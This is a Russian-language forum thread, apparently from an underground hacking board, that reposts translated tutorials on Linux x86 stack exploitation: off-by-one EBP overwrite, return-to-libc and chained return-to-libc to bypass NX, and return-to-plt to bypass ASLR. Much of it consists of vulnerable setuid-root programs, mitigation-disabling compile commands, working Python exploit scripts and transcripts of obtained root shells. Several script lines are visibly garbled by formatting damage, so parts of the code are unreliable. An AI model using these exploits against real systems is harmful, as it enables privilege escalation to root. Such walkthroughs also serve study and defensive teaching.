Сценарий 1: Некоторые другие локальные переменные могут присутствовать над буфером назначения.

Код:
...
void bar(char* arg) {
int x = 10; /* [1] */
char buf[256]; /* [2] */ 
strcpy(buf, arg); /* [3] */ 
}
...

Таким образом, в этих случаях локальная переменная находится между концом буфера 'buf' и EBP, что не позволяет нам перезаписывать младший бит EBP.

Сценарий 2: Пространство выравнивания - по умолчанию gcc выравнивает пространство стека по границам 16 байтов, т.e. Перед созданием пространства стека последние 4 бита ESP обнуляются с использованием команды ‘и’, как показано в разборе функции ниже.

Код:
Dump of assembler code for function main:
0x08048497 <+0>: push %ebp
0x08048498 <+1>: mov %esp,%ebp
0x0804849a <+3>: push %edi
0x0804849b <+4>: and $0xfffffff0,%esp               //Stack space aligned to 16 byte boundary
0x0804849e <+7>: sub $0x20,%esp                     //create stack space
...
Таким образом, в этих случаях пространство выравнивания (до 12 байтов) находится между концом буфера 'buf' и EBP, что не позволяет нам перезаписывать младший бит EBP.

По этой причине мы добавили аргумент gcc «-mpreferred-stack-border = 2» при компиляции нашего уязвимого кода (vuln.c) !!

Помогите !!: Что если ESP уже выровнен на 16-байтовом граничном уровне до создания стека? В таких случаях перезапись EBP должна быть возможной даже тогда, когда программа компилируется с границей стека по умолчанию для gcc, равной 16 байтам. Но до сих пор я не смог создать такой рабочий код. Во всех моих испытаниях перед созданием стекового пространства ESP не выравнивается по 16-байтовой границе, независимо от того, насколько тщательно я создаю содержимое стека, gcc добавляет дополнительное пространство для локальных переменных, что делает ESP невыровненным до 16-байтового уровня границы. Если у кого-то есть рабочий код или есть ответ на вопрос, почему ESP всегда не выровнен, пожалуйста, дайте мне знать. (https://sploitfun.wordpress.com/author/sploitfun/)


Переведено специально для xss.pro
Оригинальная статья: https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 
Последнее редактирование:
Сам не знал как перевести, но в вики так и пишется

Ты молодец! Так держать! А о кучах)))
heap - просто можно указывать как хип с пометкой "heap", хотя сама сталкиваюсь неоднократно с подобными проблемами перевода )
 
Обход NX-бита с используя return-to-libc.

Условие :Переполнение буфера в классическом стеке
Настройка виртуальной машины : Ubuntu 12.04 (x86)


В предыдущих постах мы видел, что злоумышленник:

  • копирует Shell-код в стек и переходит к нему для того, чтобы успешно использовать уязвимый код. Поэтому, чтобы помешать действиям злоумышленника, исследователи безопасности придумали меру по снижению уязвимости под названием «NX Bit».

Что такое NX Bit?

Это метод уменьшения последствий эксплойтов, который делает определенные области памяти неисполняемыми, а исполняемые области недоступными для записи.
Пример. Сегменты данных, стека и кучи становятся неисполняемыми, а текстовые сегменты недоступны для записи.С включенным NX Bit наш подход к переполнению буфера в стеке не сможет использовать уязвимость. Так как при нашем подходе Shell-код копировался в стек, а адрес возврата указывал на Shell-код. Но теперь, так как стек больше не является исполняемым, наш эксплойт не работает. Но эта техника смягчения не является полностью надежной, поэтому в этом посте мы рассмотрим, как обойти NX Bit.

Уязвимый код : этот код аналогичен предыдущему уязвимому коду с небольшой модификацией. Я расскажу позже о необходимости этой модификации.
Код:
//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout);  /* [4] */
return 0;
}

Команды компиляции:
Код:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

ПРИМЕЧАНИЕ
: аргумент «-z execstack» не передается в gcc, и, следовательно, теперь стек не является исполняемым, что можно проверить, как показано ниже:
Код:
$ readelf -l vuln
...
Program Headers:
Type      Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
PHDR      0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP    0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD      0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
LOAD      0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
DYNAMIC   0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE      0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
...
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$
Сегмент стека содержит только RW-flag и не содержит E-flag.

Как обойти бит NX и добиться выполнения произвольного кода?

NX Bit можно обойти, используя технику атаки, называемую «return-to-libc» . Здесь адрес возврата перезаписывается адресом функции libc (вместо адреса стека, содержащего Shell-код). Например, если злоумышленник хочет создать оболочку, он перезаписывает адрес возврата адресом system (), а также устанавливает соответствующие аргументы, требуемые system () в стеке, для его успешного вызова.
Уже разобрав и нарисовав макет стека для уязвимого кода, давайте напишем код эксплойта, чтобы обойти NX Bit.

Код эксплойта :
Код:
[/I]
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 
#For example system address = libc base address + system offset
#where 
       #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
       #system offset     = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")

system = 0xb7e61060        #0xb7e2000+0x0003f060
exit = 0xb7e54be0          #0xb7e2000+0x00032be0

#system_arg points to 'sh' substring of 'fflush' string. 
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d     #(obtained from hexdump output of the binary)

#endianess conversion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])
[I]

Выполнение вышеуказанной программы эксплойта дает нам корневую оболочку, как показано ниже:
Код:
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Бинго! Мы получили корневую оболочку. Но в настоящих применениях это НЕ так просто, так как программы root setuid приняли бы принцип наименьших привилегий.

Каков принцип наименьших привилегий?

Этот метод позволяет программе root setuid получать привилегии root только при необходимости. То есть, когда требуется, они получают привилегию root, а когда не требуется, они отбрасывают полученную привилегию root. Обычный подход, которому следуют программы root setuid, заключается в отбрасывании привилегий root до получения ввода от пользователя. Таким образом, даже если пользовательский ввод является вредоносным, злоумышленник не получит корневую оболочку. Например, приведенный ниже уязвимый код не позволяет злоумышленнику получить корневую оболочку.

Уязвимый код :
Код:
//vuln_priv.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}

Вышеупомянутый уязвимый код не дает корневую оболочку, когда мы пытаемся использовать его, используя приведенный ниже код.
Код:
#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0xb7e61060
exit = 0xb7e54be0

system_arg = 0x804829d

#endianess conversion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln_priv", buf])

ПРИМЕЧАНИЕ : exp_priv.py - слегка измененная версия exp.py.
Код:
$ python exp_priv.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$

Это End of tunnel? Как использовать программы root setuid, которые применяют принцип наименьших привилегий?

Для уязвимого кода (vuln_priv) наш эксплойт ( exp_priv.py ) вызывал систему с последующим выходом, что оказалось недостаточным для получения корневой оболочки. Но если наш код эксплойта ( exp_priv.py ) был изменен для вызова следующих функций libc (в указанном порядке)

  • seteuid (0)
  • system(«sh»)
  • exit()
мы бы получили корневую оболочку. Эта техника называется цепочкой возврата в libc и обсуждается здесь (https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/)

Переведено специально для xss.pro
Оригинальная статья: https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 
Последнее редактирование:
Обход NX-бита используя цепочки return-to-libc.


Условие:
1. Переполнение буфера в классическом стеке
2. Обход NX bit с использованием return-to-libc

Настройка виртуальной машины :Ubuntu 12.04 (x86)

Прикован ли return-to-libc?

Как видно из предыдущего поста, злоумышленнику необходимо вызвать несколько функций libc для успешного получения результата. Простой способ связать несколько функций libc - поместить один и тот же адрес функции libc в стек, но это невозможно из-за аргументов функции. Не очень понятно, никаких проблем просто читать дальше!
Уязвимый код:
Код:
//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s",buf);
fflush(stdout);
return 0;
}
ПРИМЕЧАНИЕ. Этот код аналогичен уязвимому коду, указанному в предыдущем посте (vuln_priv.c).

Команды компиляции:
Код:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
Как говорилось в предыдущем посте, объединение в одну цепочку seteuid, system и exit позволит нам использовать уязвимый код «vuln». Но это не простая задача из-за двух проблем:

1.В одной и той же позиции в стеке злоумышленнику потребуется разместить аргумент функции обеих функций libc или аргумента функции одной функции libc и адрес другой функции libc, что, очевидно, невозможно (как показано на рисунке ниже)(Слишком много слов “функции”.

2.seteuid_arg должен быть нулевым. Но поскольку переполнение буфера происходит из-за strcpy, ноль при этом является плохим символом, т. е.) Символы после этого ноля не будут скопированы в стек с помощью strcpy().

sBNx4K0W2AVolelb3mm95mQ.png



Давайте теперь посмотрим, как преодолеть эти две проблемы.

Задача 1: для решения этой проблемы Нергал говорит о двух блестящих методах

1. ESP Lifting
2. Frame Faking (Подделка кадров)

Здесь давайте посмотрим ТОЛЬКО о Frame Faking, так как для применения техники esp lifting двоичный файл должен быть скомпилирован без поддержки указателя кадра (-fomit-frame-pointer). Но поскольку наш двоичный файл (vuln) содержит указатели кардров, нам необходимо применить технику подделки фреймов.

Frame Faking?

В этой технике вместо того, чтобы перезаписывать адрес возврата напрямую адресом функции libc (в этом примере - seteuid), мы перезаписываем его с помощью инструкции «leave let». Это позволяет злоумышленнику сохранять аргументы функции в стеке без какого-либо перекрытия и, таким образом, позволяет вызывать соответствующую функцию libc без каких-либо проблем. Давайте посмотрим, как это работает?

Макет стека: в то время как атакующий переполняет буфер, как показано ниже в макете стека, для успешной цепочки функций libc seteuid, system и exit:

1ydG7Oso9y4OSZQr-3..
s5S7xwpOSA9YtJ4ai97dE5g.png



Выделенные красным цветом адреса на изображении выше являются адресами возврата, где каждая инструкция «leave ret» вызывает функцию libc над ней. Например, первая команда «leave ret» (расположенная по адресу стека 0xbffff1fc) вызывает seteuid (), а вторая «leave ret» (расположенная по адресу стека 0xbffff20c) вызывает system (), а третья команда «leave ret» (расположенная в адрес стека 0xbffff21c) вызывает exit ().

Как инструкция leave ret вызывает функцию libc?

Чтобы узнать ответ на поставленный выше вопрос, сначала нам нужно знать об «leave». Инструкция «leave» переводится как:
Код:
mov ebp,esp //esp = ebp
pop ebp //ebp = *esp
Давайте разберем функцию main (), чтобы узнать больше об инструкции «leave ret».
Код:
(gdb) disassemble main
Dump of assembler code for function main:
...
0x0804851c <+88>: leave //mov ebp, esp; pop ebp;
0x0804851d <+89>: ret //return
End of assembler dump.
(gdb)
Main’s Epilogue:

Перед выполнением main’s epilogue, как показано в приведенном выше макете стека, злоумышленник смог бы переполнить буфер и переписать ebp main с fake_ebp0 (0xbffff204) и адрес возврата с адресом инструкции leave ret из (0x0804851c). Теперь, когда CPU собирается выполнить main epilogue, EIP указывает на текстовый адрес 0x0804851c («leave ret»). При выполнении происходит следующее:

leave changes following registers
esp = ebp = 0xbffff1f8
ebp
  • = 0xbffff204, esp = 0xbffff1fc
    Команда «ret» выполняет команду «leave ret» (расположена по адресу стека 0xbffff1fc).
    seteuid: снова EIP указывает на текстовый адрес 0x0804851c («leave ret»). При исполнении происходит следующее:

    leave changes following registers
    esp = ebp = 0xbffff204
    ebp = 0xbffff214, esp = 0xbffff208
    Ret выполняет seteuid () (находится по адресу стека 0xbffff208). Для успешного вызова seteuid seteuid_arg он должен быть помещен по смещению 8 от seteuid_addr, т. Е.) По адресу стека 0xbffff210.
    После того, как seteuid () вызван, выполняется инструкция «leave ret» (расположенная по адресу стека 0xbffff20c).
    После вышеописанной процедуры system и exit также будут вызваны, поскольку стек настроен для его вызова злоумышленником - как показано на приведенном выше рисунке компоновки стека.

    Проблема 2: в нашем случае seteuid_arg должен быть равен нулю. Но так как ноль - плохой символ, как записать ноль по адресу стека 0xbffff210? Существует простое решение, которое обсуждается в той же статье. При объединении функций в libc первые несколько вызовов должны быть strcpy, который копирует нулевой байт в расположение стека seteuid_arg.

    ПРИМЕЧАНИЕ: Но, к сожалению, в моем libc.so.6 адрес функции strcpy равен 0xb7ea6200, то есть адрес самой функции libc содержит байт NULL (плохой символ). Следовательно, strcpy не может быть использован для успешного использования уязвимого кода. sprintf (адрес функции 0xb7e6e8d0) используется в качестве замены для strcpy, т. е.) с использованием байта sprintf NULL копируется в расположение стека seteuid_arg.

    Таким образом, следующие функции libc объединены в цепочку, чтобы решить две вышеупомянутые проблемы и успешно получить корневую оболочку:

    sprintf | sprintf | sprintf | sprintf | seteuid | system | exit
    Код эксплойта:
    Код:
    #exp.py
    #!/usr/bin/env python
    import struct
    from subprocess import call
    
    fake_ebp0 = 0xbffff1a0
    fake_ebp1 = 0xbffff1b8
    fake_ebp2 = 0xbffff1d0
    fake_ebp3 = 0xbffff1e8
    fake_ebp4 = 0xbffff204
    fake_ebp5 = 0xbffff214
    fake_ebp6 = 0xbffff224
    fake_ebp7 = 0xbffff234
    leave_ret = 0x0804851c
    sprintf_addr = 0xb7e6e8d0
    seteuid_addr = 0xb7f09720
    system_addr = 0xb7e61060
    exit_addr = 0xb7e54be0
    sprintf_arg1 = 0xbffff210
    sprintf_arg2 = 0x80485f0
    sprintf_arg3 = 0xbffff23c
    system_arg = 0x804829d
    exit_arg = 0xffffffff
    
    #endianess convertion
    def conv(num):
    return struct.pack("<I",num* 264
    buf += conv(fake_ebp0)
    buf += conv(leave_ret)
    #Below four stack frames are for sprintf (to setup seteuid arg )
    buf += conv(fake_ebp1)
    buf += conv(sprintf_addr)
    buf += conv(leave_ret)
    buf += conv(sprintf_arg1)
    buf += conv(sprintf_arg2)
    buf += conv(sprintf_arg3)
    buf += conv(fake_ebp2)
    buf += conv(sprintf_addr)
    buf += conv(leave_ret)
    sprintf_arg1 += 1
    buf += conv(sprintf_arg1)
    buf += conv(sprintf_arg2)
    buf += conv(sprintf_arg3)
    buf += conv(fake_ebp3)
    buf += conv(sprintf_addr)
    buf += conv(leave_ret)
    sprintf_arg1 += 1
    buf += conv(sprintf_arg1)
    buf += conv(sprintf_arg2)
    buf += conv(sprintf_arg3)
    buf += conv(fake_ebp4)
    buf += conv(sprintf_addr)
    buf += conv(leave_ret)
    sprintf_arg1 += 1
    buf += conv(sprintf_arg1)
    buf += conv(sprintf_arg2)
    buf += conv(sprintf_arg3)
    #Dummy - To avoid null byte in fake_ebp4.
    buf += "X" * 4
    #Below stack frame is for seteuid
    buf += conv(fake_ebp5)
    buf += conv(seteuid_addr)
    buf += conv(leave_ret)
    #Dummy - This arg is zero'd by above four sprintf calls
    buf += "Y" * 4
    #Below stack frame is for system
    buf += conv(fake_ebp6)
    buf += conv(system_addr)
    buf += conv(leave_ret)
    buf += conv(system_arg)
    #Below stack frame is for exit
    buf += conv(fake_ebp7)
    buf += conv(exit_addr)
    buf += conv(leave_ret)
    buf += conv(exit_arg)
    
    print "Calling vulnerable program"
    call(["./vuln", buf])
    Выполнение приведенного выше кода эксплойта дает нам корневую оболочку.
    Код:
    $ python exp.py
    Calling vulnerable program
    Index of /libc.so
    [*]
    
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ \ \ \ AAAA0 Ѕ
    # id
    uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
    # exit
    $
    Теперь, полностью обойдя NX bit, давайте посмотрим, как обойти ASLR в следующем посте.
Оригинальная статья: https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 
Последнее редактирование:
Обход ASLR - Часть I

Необходимое условие: Переполнение буфера в классическом стеке
Настройка виртуальной машины: Ubuntu 12.04 (x86)

В предыдущих постах мы увидели, что злоумышленник должен знать
  • адрес стека (для перехода к Shell-коду)
  • базовый адрес libc (для успешного обхода бита NX)
чтобы использовать уязвимый код. Поэтому, чтобы помешать действиям злоумышленника, исследователи безопасности придумали смягчение эксплойта под названием «ASLR»

Что такое ASLR?

Рандомизация размещения адресного пространства (Address space layout randomization (ASLR)) - технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно образов исполняемого файла, а именно она рандомизирует:

  • Адрес стека.
  • Куча адресов.
  • Адрес общей библиотеки.

Как только вышеупомянутые адреса рандомизированы, в частности, когда адрес разделяемой библиотеки рандомизирован, подход, который мы использовали для обхода NX бита, не будет работать, так как злоумышленнику нужно знать базовый адрес libc. Но эта техника смягчения не является полностью надежной, поэтому в этом посте мы рассмотрим, как обойти рандомизацию адресов.

Мы уже знаем из предыдущего поста (https://xss.pro/threads/30590/post-175048), что адрес функции libc был рассчитан следующим образом:

Код:
libc function address = libc base address + function offset

где:
Базовый адрес libc был постоянным (0xb7e22000 - для нашего двоичного файла vuln), так как рандомизация была отключена, смещение функции также было постоянным (получено из «readelf -s libc.so.6 | grep«). Теперь, когда мы включаем полную рандомизацию (используя команду ниже)

Код:
#echo 2 > /proc/sys/kernel/randomize_va_space

Базовый адрес libc будет рандомизирован.

ПРИМЕЧАНИЕ. Рандомизируется только базовый адрес libc, смещение конкретной функции от ее базового адреса всегда остается постоянным. Следовательно, если мы сможем обойти рандомизацию базового адреса совместно используемой библиотеки, уязвимые программы могут быть успешно использованы (применив три метода ниже), даже когда ASLR включен.

Return-to-plt (будет разобран в этом посте)
Brute Force (часть 2)
ПОЛУЧИТЬ перезапись и ПОЛУЧИТЬ разыменование (GOT overwrite and GOT dereference)(часть 3)

Что такое возврат к PLT?

В этом методе вместо возврата к функции libc (чей адрес рандомизирован), злоумышленник возвращается к PLT функции (чей адрес НЕ рандомизирован - его адрес известен до самого выполнения). Поскольку «функция@PLT» не рандомизирована, злоумышленнику больше не нужно прогнозировать базовый адрес libc, вместо этого он может просто вернуться к порядку «функции@PLT», чтобы вызвать «функцию».

Что такое PLT, как вызов «function @ PLT» вызывает «function»?

Чтобы узнать о процедурной таблице связей (PLT), позвольте мне кратко рассказать о разделяемых библиотеках!

В отличие от статических библиотек, текстовый сегмент общих библиотек распределяется между несколькими процессами, а его сегмент данных уникален для каждого процесса. Это помогает в уменьшении памяти и дискового пространства. Поскольку текстовый сегмент совместно используется несколькими процессами, он должен иметь только разрешения на чтение и выполнение, и, следовательно, динамический компоновщик не может перемешать символ данных или адрес функции, присутствующий в текстовом сегменте (поскольку у него нет разрешения на запись). Тогда как динамический компоновщик перемещает символы совместно используемой библиотеки во время выполнения без изменения ее текстового сегмента? Это сделано с помощью НПК (PIC)!

Что такое НПК (PIC)?

Независимый от позиции код (PIC) был разработан для решения этой проблемы - он гарантирует, что текстовый сегмент общих библиотек совместно используется несколькими процессами, несмотря на выполнение перемещения во время загрузки. PIC достигает этого с уровнем косвенности - текстовый сегмент общих библиотек не содержит абсолютный виртуальный адрес вместо глобальных ссылок на символы и функции, а указывает на конкретную таблицу в сегменте данных. Эта таблица является заполнителем для глобального символа и абсолютного виртуального адреса функции. Динамический компоновщик как часть перемещения заполняет эту таблицу. Таким образом, при перемещении изменяется только сегмент данных, а текстовый сегмент остается нетронутым!

Динамический компоновщик перемещает глобальные символы и функции, найденные в PIC, двумя различными способами, как описано ниже:
  • Таблица глобальных смещений (GOT): Таблица глобальных смещений содержит 4-байтовую запись для каждой глобальной переменной, где 4-байтовая запись содержит адрес глобальной переменной. Когда инструкция в сегменте кода ссылается на глобальную переменную, вместо абсолютного виртуального адреса глобальной переменной инструкция указывает на запись в GOT. Эта запись GOT перемещается динамическим компоновщиком при загрузке общей библиотеки. Таким образом, PIC использует эту таблицу для перемещения глобальных символов с одним уровнем косвенности.

  • Процедурная таблица связей (PLT): Процедурная таблица связей содержит код заглушки для каждой глобальной функции. Инструкция вызова в текстовом сегменте не вызывает функцию («функция») напрямую, а вызывает код заглушки (функция@PLT). Этот код заглушки с помощью динамического компоновщика разрешает адрес функции и копирует его в GOT (GOT [n]). Это разрешение происходит только во время первого вызова функции ('function'), позже, когда инструкция вызова в сегменте кода вызывает код заглушки (function@PLT) вместо вызова динамического компоновщика для разрешения адреса функции ('функция') Код заглушки напрямую получает адрес функции из GOT (GOT [n]) и переходит к нему. Таким образом, PIC использует эту таблицу для перемещения адресов функций с двумя уровнями косвенности.
Хорошо, что вы прочитали о PIC и поняли, что он помогает сохранить целостность текстового сегмента совместно используемых библиотек и, следовательно, правда помогает разделить текстовый сегмент совместно используемых библиотек между многими процессами. Но вы когда-нибудь задумывались, почему текстовый сегмент исполняемого файла должен иметь запись GOT или код-заглушку PLT, когда он НЕ используется совместно каким-либо процессом?! Это из-за механизма защиты безопасности. В настоящее время по умолчанию текстовые сегменты получают только разрешение на чтение и выполнение и не имеют разрешения на запись (R_X). Этот механизм защиты не позволяет даже динамическому компоновщику записывать в текстовый сегмент и, следовательно, он не может перемещать символы данных или адрес функции, найденные внутри текстового сегмента. Следовательно, чтобы разрешить динамическое перемещение компоновщика, исполняемым файлам также нужны записи GOT и коды-заглушки PLT, как и общие библиотеки.

Пример:

Код:
//eg.c
//$gcc -g -o eg eg.c
#include <stdio.h>

int main(int argc, char* argv[]) {
 printf("Hello %s\n", argv[1]);
 return 0;
}

Ниже приведён разбор, показывающий, что printf не вызывается напрямую, а соответствующий ей код PLT вызывается printf @ PLT.

Код:
(gdb) disassemble main
Dump of assembler code for function main:
 0x080483e4 <+0>: push %ebp
 0x080483e5 <+1>: mov %esp,%ebp
 0x080483e7 <+3>: and $0xfffffff0,%esp
 0x080483ea <+6>: sub $0x10,%esp
 0x080483ed <+9>: mov 0xc(%ebp),%eax
 0x080483f0 <+12>: add $0x4,%eax
 0x080483f3 <+15>: mov (%eax),%edx
 0x080483f5 <+17>: mov $0x80484e0,%eax
 0x080483fa <+22>: mov %edx,0x4(%esp)
 0x080483fe <+26>: mov %eax,(%esp)
 0x08048401 <+29>: call 0x8048300 <printf@plt>
 0x08048406 <+34>: mov $0x0,%eax
 0x0804840b <+39>: leave 
 0x0804840c <+40>: ret 
End of assembler dump.
(gdb) disassemble 0x8048300
Dump of assembler code for function printf@plt:
 0x08048300 <+0>: jmp *0x804a000
 0x08048306 <+6>: push $0x0
 0x0804830b <+11>: jmp 0x80482f0
End of assembler dump.
(gdb)

Перед первым вызовом printf соответствующая запись GOT (0x804a000) указывает на сам код PLT (0x8048306). Таким образом, когда в первый раз вызывается функция printf, ее соответствующий адрес функции разрешается с помощью динамического компоновщика.

Код:
(gdb) x/1xw 0x804a000
0x804a000 <printf@got.plt>: 0x08048306
(gdb)

Теперь после вызова printf соответствующая запись GOT содержит адрес функции printf (как показано ниже):

Код:
(gdb) x/1xw 0x804a000
0x804a000 <printf@got.plt>: 0xb7e6e850
(gdb)

ПРИМЕЧАНИЕ 1. Если вы хотите узнать больше PLT и GOT, ознакомьтесь с этой (http://sploitfun.blogspot.com/2013/06/dynamic-linking-internals.html) записью в блоге.
ПРИМЕЧАНИЕ 2. В отдельном посте я подробно расскажу о том, как адрес функции libc динамически разрешается с помощью динамического компоновщика.

Код:
0x08048306 <+6>: push $0x0
0x0804830b <+11>: jmp 0x80482f0

Теперь, имея эти знания, мы узнали, что злоумышленнику не нужен точный адрес функции libc для вызова этой же функции, он может просто вызвать ее, используя адрес «function @ PLT» (который известен до выполнения).

Уязвимый код:
Код:
#include <stdio.h>
#include <string.h>

/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
 system("/bin/sh");
 exit(0);
}

int main(int argc, char* argv[]) {
 int i=0;
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 return 0;
}

Команды компиляции:


Код:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Теперь, разбирая исполняемый файл «vuln», мы можем найти адреса «system @ PLT» и «exit @ PLT».

Код:
(gdb) disassemble shell
Dump of assembler code for function shell:
 0x08048474 <+0>: push %ebp
 0x08048475 <+1>: mov %esp,%ebp
 0x08048477 <+3>: sub $0x18,%esp
 0x0804847a <+6>: movl $0x80485a0,(%esp)
 0x08048481 <+13>: call 0x8048380 <system@plt>
 0x08048486 <+18>: movl $0x0,(%esp)
 0x0804848d <+25>: call 0x80483a0 <exit@plt>
End of assembler dump.
(gdb)

Мы можем написать код эксплойта, который обходит ASLR (и бит NX) !!
Код эксплойта:

Код:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0x8048380
exit = 0x80483a0
system_arg = 0x80485b5     #Obtained from hexdump output of executable 'vuln'

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

Выполнение вышеуказанной программы эксплойта дает нам корневую оболочку, как показано ниже:

Код:
$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

ПРИМЕЧАНИЕ. Чтобы получить эту корневую оболочку, исполняемый файл должен содержать код «system @ PLT» и «exit @ PLT». В третьей части я расскажу о методах перезаписи GOT и методах разыменования GOT, которые помогают злоумышленникам вызывать функцию libc, даже если в исполняемом файле нет требуемого кода-заглушки PLT, а также когда включен ASLR.
 
Обход ASLR - Часть II

Необходимое условие:Переполнение буфера в классическом стеке
Настройка виртуальной машины: Ubuntu 12.04 (x86)

В этом посте мы рассмотрим, как обойти рандомизацию адресов разделяемой библиотеки, используя метод Brute Force (Грубая сила).

Что такое Brute Force?

